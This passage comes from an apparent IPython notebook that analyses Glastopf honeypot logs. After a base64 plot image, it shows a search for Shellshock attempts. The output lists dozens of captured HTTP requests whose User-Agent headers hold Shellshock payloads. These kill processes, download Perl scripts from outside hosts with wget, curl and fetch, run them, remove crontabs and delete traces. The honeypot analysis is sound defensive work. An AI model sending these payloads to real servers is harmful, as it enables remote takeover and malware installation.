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\ndhuefvppAIAQYtHtYozhqquuQldXF1RVxZVXXgld17F//34wxnDNNdegr68va5/3v//9CAaD8Pl8\nuO222/Dyyy8DAH7xi1/gxhtvxNatW8EYw3ve8x6oqopTp045+95yyy0IBoOOJQdBEARBEMRqQW4m\nBEEQBLFCJiYm4PP5AACnTp3Ct7/9bZw7dw6GYSCZTOLqq68GYAkTV199NQ4cOIDbb78dr7zyCv7i\nL/5iwePfcMMN+NGPfoRDhw4tOV5GIBBwllVVRU1NjbOuaRpisVhW/fr6eme5oaEBk5OTAICxsTEc\nOHAAP/3pT53thmE423P3JQiCIAiCWE1IzCAIgiCIFdDT04OJiQns3LkTgJVt5JZbbsGXvvQlKIqC\nJ554AuFw2Kl//fXX4xvf+AZ27twJXdexbdu2Bc+hKAp+53d+B9/97nfR1tbmWGfouo54PO7Um5qa\nWvHnGRsby1oOBoMALKHiwx/+MG677bY59y33wKQEQRAEQVQP5GZCEARBEEsgJSREIhEcOnQIDz30\nEPbv3++4lsRiMXi9XiiKgp6eHrz88stZg/zt27eDMYannnoK+/fvX/R59+/fj2Qyibfeess53qZN\nm3D+/Hn09fUhkUjgmWeeKdjWpfD8889jYmICMzMz+MEPfoBrrrkGAHDjjTfi5z//OXp6eiCEQCwW\nwxtvvJFn2UEQBEEQBLEWkGUGQRAEQSyB++67D7IsgzGG9vZ23Hrrrbjpppuc7Z/85Cfx1FNP4fHH\nH8euXbtw9dVXIxKJZB1j//79eOaZZ/CFL3xh0eeVJAl33HEHvva1rzllra2t+MhHPoK///u/h67r\n+L3f+z288MILzvbcNK6LsZy47rrr8A//8A9ONpOUJcbmzZtx55134rHHHsPQ0BA0TcPOnTuxe/fu\nRX8GgiAIgiCIYsHEcl7bEARBEASxbA4cOIAXXngBf/u3f1vqphAEQRAEQVQk5GZCEARBEGtIPB7H\n888/j/e9732lbgpBEARBEETFQmIGQRAEQawRb775Jj71qU+htrYW1113XambQxAEQRAEUbGQmwlB\nEARBEARBEARBEBUFWWYQBEEQBEEQBEEQBFFRkJhBEARBEARBEARBEERFQWIGQRAEQRAEQRAEQRAV\nBYkZBEEQBEEQBEEQBEFUFCRmEARBEARBEARBEARRUfz/gRS0Zlh7ygoAAAAASUVORK5CYII=\n",
       "text": [
        "<matplotlib.figure.Figure at 0x109668350>"
       ]
      }
     ],
     "prompt_number": 43
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Here is a search for strings containing the characters which are known to be used in a Shellshock exploit."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('{ :;}')]['request_raw'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 23,
       "text": [
        "GET /cgi-bin/php4 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/cgi.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/test.sh HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /admin.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/file_up.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/contact.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/uptime.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/hello.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-sys/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /info.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/forum.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /fcgi-bin/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /index.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/status.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-sys/entropysearch.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /fcgi-php/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /xampp/cgi.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/formmail.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test-cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/upload.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /phppath/cgi_wrapper HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /fcgi-bin/php5.fcgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/test.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/test-cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/printenv HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-mod/php5.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/Count.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/reboot.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php5-cli HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
